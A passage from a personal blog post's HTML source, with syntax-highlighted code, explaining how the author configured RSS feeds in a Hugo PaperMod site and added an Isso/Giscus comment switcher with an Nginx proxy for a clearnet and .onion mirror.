</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ShowFullTextinRSS</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span></code></pre></div><p>Show RSS buttons on section/taxonomy lists:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ShowRssButtonInSectionTermList</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="6-troubleshooting-aka-what-i-bumped-into">6) Troubleshooting (aka “what I bumped into”)</h2>
|
||||
<ul>
|
||||
<li>
|
||||
<p><strong>Home page has no RSS icon</strong><br>
|
||||
That’s expected; either enable Home-Info/Profile mode + <code>socialIcons</code>, or use the footer partial.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p><strong>Section feed 404</strong><br>
|
||||
Folder names are lowercase (<code>content/posts/</code>, not <code>content/Posts/</code>).<br>
|
||||
The URL mirrors that: <code>/posts/index.xml</code>.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p><strong>Giscus doesn’t create a discussion</strong><br>
|
||||
Double-check the four attributes: <code>data-repo</code>, <code>data-repo-id</code>, <code>data-category</code>, <code>data-category-id</code>.<br>
|
||||
Make sure Discussions is enabled and the Giscus app is installed for the repo.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p><strong>Icon is comically large</strong><br>
|
||||
Keep the CSS above; 16–20px usually looks right.</p>
|
||||
</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="7-bonus-fast-setup-via-github-cli-optional-i-didnt-use-it-but-i-shouldve-perhaps">7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Create the public comments repo (adjust names)</span>
|
||||
</span></span><span style="display:flex;"><span>gh repo create yourname/blog-comments --public -d <span style="color:#e6db74">"Blog comment threads"</span> --confirm
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Enable Discussions for it</span>
|
||||
</span></span><span style="display:flex;"><span>gh repo edit yourname/blog-comments --enable-discussions
|
||||
</span></span></code></pre></div><p>Then visit <strong>giscus.app</strong>, select the repo + category (e.g. “Comments”), and copy the generated IDs into <code>layouts/partials/comments.html</code>.</p>
|
||||
<hr>
|
||||
<h3 id="final-config-snapshot-condensed">Final config snapshot (condensed)</h3>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">"https://example.com/"</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">theme</span> = <span style="color:#e6db74">"PaperMod"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">outputs</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">home</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>, <span style="color:#e6db74">"JSON"</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">section</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">taxonomy</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">term</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>]
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">services</span>.<span style="color:#a6e22e">rss</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">limit</span> = <span style="color:#ae81ff">-1</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">comments</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ShowRssButtonInSectionTermList</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ShowFullTextinRSS</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Optional if using Home-Info/Profile mode:</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># [[params.socialIcons]]</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># name = "rss"</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># url = "/index.xml"</span>
|
||||
</span></span></code></pre></div><hr>
|
||||
<h1 id="appendix--why-i-added-isso-how-i-wired-it-and-what-i-fixed">Appendix — Why I added Isso, how I wired it, and what I fixed</h1>
|
||||
<h2 id="the-story-why-isso--why-i-still-keep-giscus">The story (why Isso + why I still keep Giscus)</h2>
|
||||
<p>I wanted comments that:</p>
|
||||
<ul>
|
||||
<li>allow <strong>anonymous</strong> replies (no GitHub account required),</li>
|
||||
<li>are <strong>lightweight</strong> and <strong>self-hosted</strong>, and</li>
|
||||
<li>can work on my <strong>Tor <code>.onion</code> mirror</strong>.</li>
|
||||
</ul>
|
||||
<p><strong>Isso</strong> checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of <strong>Giscus</strong> (comments are GitHub Discussions), so I kept both and added a little switcher UI: <strong>“Anonymous (Isso)”</strong> or <strong>“GitHub (Giscus)”</strong>.</p>
|
||||
<p>Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).</p>
|
||||
<h2 id="how-i-run-it-high-level">How I run it (high-level)</h2>
|
||||
<ul>
|
||||
<li><strong>Site:</strong> Hugo + PaperMod</li>
|
||||
<li><strong>Isso:</strong> listening on <code>127.0.0.1:8080</code>, stored locally (SQLite)</li>
|
||||
<li><strong>Nginx:</strong> reverse-proxies <strong><code>/isso/</code></strong> to Isso on both the clearnet and the <code>.onion</code> vhost</li>
|
||||
<li><strong>Hugo partial:</strong> renders the two panels (Isso & Giscus) and a switcher; Giscus is <strong>lazy-loaded</strong> and <strong>auto-rethemed</strong> with the site theme</li>
|
||||
</ul>
|
||||
<blockquote>
|
||||
<p>I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the <strong>Nginx proxying</strong> and the <strong>Hugo partial</strong>.</p></blockquote>
|
||||
<h2 id="hugo-partial-switcher--embeds">Hugo partial: switcher + embeds</h2>
|
||||
<p>Save as <code>layouts/partials/comments.html</code> and include it in your single layout (e.g. <code>layouts/_default/single.html</code>) with <code>{{ partial "comments.html" . }}</code>.</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e"><!-- comments.html --></span>
|
||||
</span></span><span style="display:flex;"><span><<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"comments-switch"</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">"display:flex;gap:.5rem;margin:.5rem 0 1rem;"</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">button</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"btn-isso"</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"button"</span> <span style="color:#a6e22e">aria-pressed</span><span style="color:#f92672">=</span><span style="color:#e6db74">"true"</span>>Anonymous (Isso)</<span style="color:#f92672">button</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">button</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"btn-giscus"</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"button"</span> <span style="color:#a6e22e">aria-pressed</span><span style="color:#f92672">=</span><span style="color:#e6db74">"false"</span>>GitHub (Giscus)</<span style="color:#f92672">button</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">"https://github.com/AlipourIm/blog-comments/discussions/categories/comments"</span> <span style="color:#a6e22e">target</span><span style="color:#f92672">=</span><span style="color:#e6db74">"_blank"</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">"noopener"</span>>Open on GitHub ↗</<span style="color:#f92672">a</span>>
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">div</span>>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"><!-- Isso panel (default) --></span>
|
||||
</span></span><span style="display:flex;"><span><<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"panel-isso"</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">section</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"isso-thread"</span>></<span style="color:#f92672">section</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">script</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">"/isso/js/embed.min.js"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-isso</span><span style="color:#f92672">=</span><span style="color:#e6db74">"/isso"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-isso-css</span><span style="color:#f92672">=</span><span style="color:#e6db74">"true"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-isso-lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">"en"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-isso-max-comments-nested</span><span style="color:#f92672">=</span><span style="color:#e6db74">"5"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-isso-sorting</span><span style="color:#f92672">=</span><span style="color:#e6db74">"newest"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">async</span>>
|
||||
</span></span><span style="display:flex;"><span> </<span style="color:#f92672">script</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">small</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"isso-powered"</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">"display:block;margin:.5rem 0;color:var(--secondary,#888)"</span>>
|
||||
</span></span><span style="display:flex;"><span> Comments powered by <<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">"https://isso-comments.de"</span> <span style="color:#a6e22e">target</span><span style="color:#f92672">=</span><span style="color:#e6db74">"_blank"</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">"noopener"</span>>Isso</<span style="color:#f92672">a</span>>
|
||||
</span></span><span style="display:flex;"><span> </<span style="color:#f92672">small</span>>
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">div</span>>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"><!-- Giscus panel (lazy-loaded on click) --></span>
|
||||
</span></span><span style="display:flex;"><span><<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"panel-giscus"</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">"display:none"</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">section</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"giscus-thread"</span>></<span style="color:#f92672">section</span>>
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">div</span>>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><<span style="color:#f92672">script</span>>
|
||||
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">function</span> () {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">panelIsso</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'panel-isso'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">panelGisc</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'panel-giscus'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">issoBtn</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'btn-isso'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">giscBtn</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'btn-giscus'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">gLoaded</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">isDark</span>() {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 1) explicit PaperMod preference
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">pref</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">localStorage</span>.<span style="color:#a6e22e">getItem</span>(<span style="color:#e6db74">'pref-theme'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">pref</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">'dark'</span>) <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">pref</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">'light'</span>) <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 2) page state (classes / data-theme)
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">H</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">documentElement</span>, <span style="color:#a6e22e">B</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">body</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">hasDark</span> <span style="color:#f92672">=</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">H</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">'dark'</span>) <span style="color:#f92672">||</span> <span style="color:#a6e22e">B</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">'dark'</span>) <span style="color:#f92672">||</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">H</span>.<span style="color:#a6e22e">dataset</span>.<span style="color:#a6e22e">theme</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">'dark'</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">B</span>.<span style="color:#a6e22e">dataset</span>.<span style="color:#a6e22e">theme</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">'dark'</span> <span style="color:#f92672">||</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">H</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">'theme-dark'</span>) <span style="color:#f92672">||</span> <span style="color:#a6e22e">B</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">'theme-dark'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">hasDark</span>) <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 3) OS preference
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">return</span> window.<span style="color:#a6e22e">matchMedia</span> <span style="color:#f92672">&&</span> window.<span style="color:#a6e22e">matchMedia</span>(<span style="color:#e6db74">'(prefers-color-scheme: dark)'</span>).<span style="color:#a6e22e">matches</span>;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">gTheme</span> <span style="color:#f92672">=</span> () => (<span style="color:#a6e22e">isDark</span>() <span style="color:#f92672">?</span> <span style="color:#e6db74">'dark_dimmed'</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">'noborder_light'</span>);
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">loadGiscus</span>() {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">gLoaded</span>) <span style="color:#66d9ef">return</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">s</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">'script'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">src</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">'https://giscus.app/client.js'</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#66d9ef">async</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">crossOrigin</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">'anonymous'</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-repo'</span>,<span style="color:#e6db74">'AlipourIm/blog-comments'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-repo-id'</span>,<span style="color:#e6db74">'R_kgDOQGARyA'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-category'</span>,<span style="color:#e6db74">'Comments'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-category-id'</span>,<span style="color:#e6db74">'DIC_kwDOQGARyM4Cw3x-'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-mapping'</span>,<span style="color:#e6db74">'pathname'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-strict'</span>,<span style="color:#e6db74">'0'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-reactions-enabled'</span>,<span style="color:#e6db74">'1'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-emit-metadata'</span>,<span style="color:#e6db74">'0'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-input-position'</span>,<span style="color:#e6db74">'bottom'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-lang'</span>,<span style="color:#e6db74">'en'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-theme'</span>, <span style="color:#a6e22e">gTheme</span>()); <span style="color:#75715e">// initial theme
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'giscus-thread'</span>).<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">s</span>);
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Retheme once iframe exists
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">reTheme</span> <span style="color:#f92672">=</span> () => {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">iframe</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">'iframe.giscus-frame'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">iframe</span>) <span style="color:#66d9ef">return</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">iframe</span>.<span style="color:#a6e22e">contentWindow</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">postMessage</span>(
|
||||
</span></span><span style="display:flex;"><span> { <span style="color:#a6e22e">giscus</span><span style="color:#f92672">:</span> { <span style="color:#a6e22e">setConfig</span><span style="color:#f92672">:</span> { <span style="color:#a6e22e">theme</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">gTheme</span>() } } },
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">'https://giscus.app'</span>
|
||||
</span></span><span style="display:flex;"><span> );
|
||||
</span></span><span style="display:flex;"><span> };
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// PaperMod toggle button
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'theme-toggle'</span>)<span style="color:#f92672">?</span>.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">'click'</span>, () =>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">setTimeout</span>(<span style="color:#a6e22e">reTheme</span>, <span style="color:#ae81ff">0</span>)
|
||||
</span></span><span style="display:flex;"><span> );
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Also react to attribute changes
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">mo</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">MutationObserver</span>(<span style="color:#a6e22e">reTheme</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">mo</span>.<span style="color:#a6e22e">observe</span>(document.<span style="color:#a6e22e">documentElement</span>, { <span style="color:#a6e22e">attributes</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>, <span style="color:#a6e22e">attributeFilter</span><span style="color:#f92672">:</span> [<span style="color:#e6db74">'class'</span>,<span style="color:#e6db74">'data-theme'</span>] });
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">mo</span>.<span style="color:#a6e22e">observe</span>(document.<span style="color:#a6e22e">body</span>, { <span style="color:#a6e22e">attributes</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>, <span style="color:#a6e22e">attributeFilter</span><span style="color:#f92672">:</span> [<span style="color:#e6db74">'class'</span>,<span style="color:#e6db74">'data-theme'</span>] });
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">gLoaded</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">show</span>(<span style="color:#a6e22e">which</span>) {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">showIsso</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">which</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">'isso'</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">panelIsso</span>.<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">showIsso</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">'block'</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">'none'</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">panelGisc</span>.<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">showIsso</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">'none'</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">'block'</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">issoBtn</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'aria-pressed'</span>, <span style="color:#a6e22e">showIsso</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">giscBtn</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'aria-pressed'</span>, <span style="color:#f92672">!</span><span style="color:#a6e22e">showIsso</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">showIsso</span>) <span style="color:#a6e22e">loadGiscus</span>();
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">issoBtn</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">'click'</span>, <span style="color:#a6e22e">e</span> => { <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">preventDefault</span>(); <span style="color:#a6e22e">show</span>(<span style="color:#e6db74">'isso'</span>); });
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">giscBtn</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">'click'</span>, <span style="color:#a6e22e">e</span> => { <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">preventDefault</span>(); <span style="color:#a6e22e">show</span>(<span style="color:#e6db74">'giscus'</span>); });
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// default
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">show</span>(<span style="color:#e6db74">'isso'</span>);
|
||||
</span></span><span style="display:flex;"><span>})();
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">script</span>>
|
||||
</span></span></code></pre></div><h2 id="nginx-proxy-isso-on-both-sites-and-avoid-the-404-onion-trap">Nginx: proxy Isso on <strong>both</strong> sites (and avoid the 404-onion trap)</h2>
|
||||
<p>The bug I hit: my <code>.onion</code> server had a regex static block that <strong>won over</strong> the plain <code>/isso/</code> location, so <code>/isso/js/embed.min.js</code> returned <strong>404</strong>.</p>
|
||||
<p><strong>Fix:</strong> make <code>/isso/</code> a <code>^~</code> prefix location so it beats regex, and place it <strong>above</strong> the static block.</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># /etc/nginx/sites-enabled/onion-blog (same idea for the clearnet vhost)
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> 127.0.0.1:<span style="color:#ae81ff">3301</span> <span style="color:#e6db74">default_server</span>;
|
